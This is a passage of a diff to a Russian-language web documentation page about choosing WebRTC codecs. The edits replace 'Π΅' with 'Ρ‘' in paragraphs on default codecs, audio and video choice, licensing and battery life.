-<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ просто Ρ€Π°Π·Π±ΠΈΠ²Π°Π΅Ρ‚ список ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² Π½Π° Π΄Π²Π° массива: ΠΎΠ΄ΠΈΠ½, содСрТащий ΠΊΠΎΠ΄Π΅ΠΊΠΈ, Ρ‡Π΅ΠΉ Β MIME Ρ‚ΠΈΠΏ совпадаСт с Ρ‚Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Π°Π½ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅Β <code>mimeType</code>Β , Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΆΠ΅ содСрТит ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ список Ρ€Π°Π·Π΄Π΅Π»Π΅Π½, ΠΎΠ½ΠΈ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ вмСстС с записями, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒΒ <code>mimeType</code>Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π²Π½Π°Ρ‡Π°Π»Π΅, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ записи ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ². Π—Π°Ρ‚Π΅ΠΌ этот список возвращаСтся Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ просто Ρ€Π°Π·Π±ΠΈΠ²Π°Π΅Ρ‚ список ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² Π½Π° Π΄Π²Π° массива: ΠΎΠ΄ΠΈΠ½, содСрТащий ΠΊΠΎΠ΄Π΅ΠΊΠΈ, Ρ‡Π΅ΠΉ Β MIME Ρ‚ΠΈΠΏ совпадаСт с Ρ‚Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Π°Π½ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅Β <code>mimeType</code>Β , Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΆΠ΅ содСрТит ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ список Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½, ΠΎΠ½ΠΈ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ вмСстС с записями, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒΒ <code>mimeType</code>Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π²Π½Π°Ρ‡Π°Π»Π΅, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ записи ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ². Π—Π°Ρ‚Π΅ΠΌ этот список возвращаСтся Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ.</p>
<h2 id="КодСки_ΠΏΠΎ_ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ">КодСки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</h2>
-<p>Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ ΠΈΠ½ΠΎΠ΅, ΠΊΠΎΠ΄Π΅ΠΊΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ), Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΌΠΈ рСализациями  WebRTC, пСрСчислСны Π½ΠΈΠΆΠ΅</p>
+<p>Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ ΠΈΠ½ΠΎΠ΅, ΠΊΠΎΠ΄Π΅ΠΊΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ), Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΌΠΈ рСализациями  WebRTC, пСрСчислСны Π½ΠΈΠΆΠ΅</p>
<table class="standard-table">
<caption>
@@ -433,13 +433,13 @@ peerConnection.addEventListener("icegatheringstatechange", (event) =&gt; {
<h2 id="ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ_Π²Ρ‹Π±ΠΎΡ€_ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ²">ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π²Ρ‹Π±ΠΎΡ€ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ²</h2>
-<p>ΠŸΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ ΠΊΠΎΠ΄Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΒ (VP8 ΠΈΠ»ΠΈΒ AVC для Π²ΠΈΠ΄Π΅ΠΎ ΠΈΒ  Opus ΠΈΠ»ΠΈΒ PCM для Π°ΡƒΠ΄ΠΈΠΎ), слСдуСт ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ нСдостатки: Π² особСнности, Ссли прСдполагаСтся, что эти ΠΊΠΎΠ΄Π΅ΠΊΠΈ Π½Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΎ доступны на всСх устройствах, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… WebRTC.</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ ΠΊΠΎΠ΄Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΒ (VP8 ΠΈΠ»ΠΈΒ AVC для Π²ΠΈΠ΄Π΅ΠΎ ΠΈΒ  Opus ΠΈΠ»ΠΈΒ PCM для Π°ΡƒΠ΄ΠΈΠΎ), слСдуСт ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ нСдостатки: Π² особСнности, Ссли прСдполагаСтся, что эти ΠΊΠΎΠ΄Π΅ΠΊΠΈ Π½Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΎ доступны на всСх устройствах, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… WebRTC.</p>
<p>Если Π²Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅ ΠΊΠΎΠ΄Π΅ΠΊ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΡ‚ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΎΡ‚ΠΊΠ°Ρ‚ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², Ссли ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° для ΠΊΠΎΠ΄Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅, окаТСтся нСдоступна.</p>
<h3 id="Аудио">Аудио</h3>
-<p>Π’ Ρ†Π΅Π»ΠΎΠΌ, Ссли кодСк доступСн ΠΈ Π·Π²ΡƒΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ, ΠΈΠΌΠ΅Π΅Ρ‚ частоту дискрСтизации Π±ΠΎΠ»Π΅Π΅ 8 ΠΊΠ“Ρ†, Π²Π°ΠΌ слСдуСт Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Opus Π² качСствС основного ΠΊΠΎΠ΄Π΅ΠΊΠ°. Для голосовых соСдинСний Π² стСснСнной срСдС использованиС G.711 с частотой дискрСтизации 8 ΠΊΠ“Ρ† ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠ΅ качСство для Ρ€Π°Π·Π³ΠΎΠ²ΠΎΡ€Π°, Π½ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ G.711 Π² качСствС запасного Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΅ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ эффСктивныС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, Ρ‡Π΅ΠΉ Π·Π²ΡƒΠΊ Π»ΡƒΡ‡ΡˆΠ΅,Β Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠžΠΏΡƒΡ Π² своСм узкополосном Ρ€Π΅ΠΆΠΈΠΌΠ΅Β .</p>
+<p>Π’ Ρ†Π΅Π»ΠΎΠΌ, Ссли кодСк доступСн ΠΈ Π·Π²ΡƒΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ, ΠΈΠΌΠ΅Π΅Ρ‚ частоту дискрСтизации Π±ΠΎΠ»Π΅Π΅ 8 ΠΊΠ“Ρ†, Π²Π°ΠΌ слСдуСт Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Opus Π² качСствС основного ΠΊΠΎΠ΄Π΅ΠΊΠ°. Для голосовых соСдинСний Π² стСснённой срСдС использованиС G.711 с частотой дискрСтизации 8 ΠΊΠ“Ρ† ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠ΅ качСство для Ρ€Π°Π·Π³ΠΎΠ²ΠΎΡ€Π°, Π½ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ G.711 Π² качСствС запасного Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΅ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ эффСктивныС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, Ρ‡Π΅ΠΉ Π·Π²ΡƒΠΊ Π»ΡƒΡ‡ΡˆΠ΅,Β Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠžΠΏΡƒΡ Π² своём узкополосном Ρ€Π΅ΠΆΠΈΠΌΠ΅Β .</p>
<h3 id="Π’ΠΈΠ΄Π΅ΠΎ">Π’ΠΈΠ΄Π΅ΠΎ</h3>
@@ -447,7 +447,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) =&gt; {
<h4 id="Условия_лицСнзирования">Условия лицСнзирования</h4>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊ, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅ ΠΎ Π»ΡŽΠ±Ρ‹Ρ… Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΎΠ½Π½Ρ‹Ρ… трСбованиях ΠΊ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌΡƒ Π²Π°ΠΌΠΈ ΠΊΠΎΠ΄Π΅ΠΊΡƒ; ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… лицСнзирования Π² нашСм основном <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководствС ΠΏΠΎ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ Π²Β Β web</a>. Из Π΄Π²ΡƒΡ… ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² для Π²ΠΈΠ΄Π΅ΠΎ - VP8 ΠΈ AVC / H.264 - Ρ‚ΠΎΠ»ΡŒΠΊΠΎ VP8 ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ свободСн ΠΎΡ‚ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΎΠ½Π½Ρ‹Ρ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ. Если выбираСтС AVC, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹Β Π·Π½Π°Π΅Ρ‚Π΅Β ΠΎ Π»ΡŽΠ±Ρ‹Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… сборах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся Π·Π°ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ;Β Π²Π»Π°Π΄Π΅Π»ΡŒΡ†Ρ‹ ΠΏΠ°Ρ‚Π΅Π½Ρ‚ΠΎΠ² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ говорят, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Ρƒ Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹Ρ… Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π²Π΅Π±-сайтов Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎΠ± ΠΎΠΏΠ»Π°Ρ‚Π΅ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΎΠ½Π½Ρ‹Ρ… сборов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, большС ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния для кодирования ΠΈ дСкодирования.</p>
+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊ, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅ ΠΎ Π»ΡŽΠ±Ρ‹Ρ… Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΎΠ½Π½Ρ‹Ρ… трСбованиях ΠΊ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌΡƒ Π²Π°ΠΌΠΈ ΠΊΠΎΠ΄Π΅ΠΊΡƒ; ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… лицСнзирования Π² нашСм основном <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководствС ΠΏΠΎ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ Π²Β Β web</a>. Из Π΄Π²ΡƒΡ… ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² для Π²ΠΈΠ΄Π΅ΠΎ - VP8 ΠΈ AVC / H.264 - Ρ‚ΠΎΠ»ΡŒΠΊΠΎ VP8 ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ свободСн ΠΎΡ‚ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΎΠ½Π½Ρ‹Ρ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ. Если выбираСтС AVC, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹Β Π·Π½Π°Π΅Ρ‚Π΅Β ΠΎ Π»ΡŽΠ±Ρ‹Ρ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… сборах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся Π·Π°ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ;Β Π²Π»Π°Π΄Π΅Π»ΡŒΡ†Ρ‹ ΠΏΠ°Ρ‚Π΅Π½Ρ‚ΠΎΠ² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ говорят, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Ρƒ Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹Ρ… Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π²Π΅Π±-сайтов Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎΠ± ΠΎΠΏΠ»Π°Ρ‚Π΅ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΎΠ½Π½Ρ‹Ρ… сборов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, большС ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния для кодирования ΠΈ дСкодирования.</p>
<div class="blockIndicator warning">
<p><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ :</strong>Β  Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ здСсь Π½Π΅ являСтся ΡŽΡ€ΠΈΠ΄ΠΈΡ‡Π΅ΡΠΊΠΎΠΉ ΠΊΠΎΠ½ΡΡƒΠ»ΡŒΡ‚Π°Ρ†ΠΈΠ΅ΠΉ!Β ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ Π² возмоТности отвСтствСнности, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, Ссли сущСствуСт Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ возникновСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с Π»ΠΈΡ†Π΅Π½Π·ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ.</p>
@@ -455,19 +455,19 @@ peerConnection.addEventListener("icegatheringstatechange", (event) =&gt; {
<h4 id="Π­Π½Π΅Ρ€Π³ΠΎΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅_ΠΈ_срок_слуТбы_Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ">Π­Π½Π΅Ρ€Π³ΠΎΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ ΠΈ срок слуТбы Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ</h4>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Ρ„Π°ΠΊΡ‚ΠΎΡ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ, особСнно Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…, - это влияниС ΠΊΠΎΠ΄Π΅ΠΊΠ° Π½Π° врСмя Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Если ΠΊΠΎΠ΄Π΅ΠΊ обрабатываСтся Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎ Π½Π° Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅, ΠΎΠ½, вСроятно, ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ срок слуТбы Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π²Ρ‹Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ‚Π΅ΠΏΠ»Π°.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Ρ„Π°ΠΊΡ‚ΠΎΡ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ, особСнно Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…, - это влияниС ΠΊΠΎΠ΄Π΅ΠΊΠ° Π½Π° врСмя Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹. Если ΠΊΠΎΠ΄Π΅ΠΊ обрабатываСтся Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎ Π½Π° Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅, ΠΎΠ½, вСроятно, ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ срок слуТбы Π±Π°Ρ‚Π°Ρ€Π΅ΠΈ ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π²Ρ‹Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ‚Π΅ΠΏΠ»Π°.</p>
<p>НапримСр, Safari для iOS ΠΈ iPadOS прСдставила WebRTC с AVC Π² качСствС СдинствСнного ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°.Β ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²ΠΎ AVC Π½Π° iOS ΠΈ iPadOS Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² возмоТности кодирования ΠΈ дСкодирования Π½Π° Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅.Safari 12.1 прСдставил 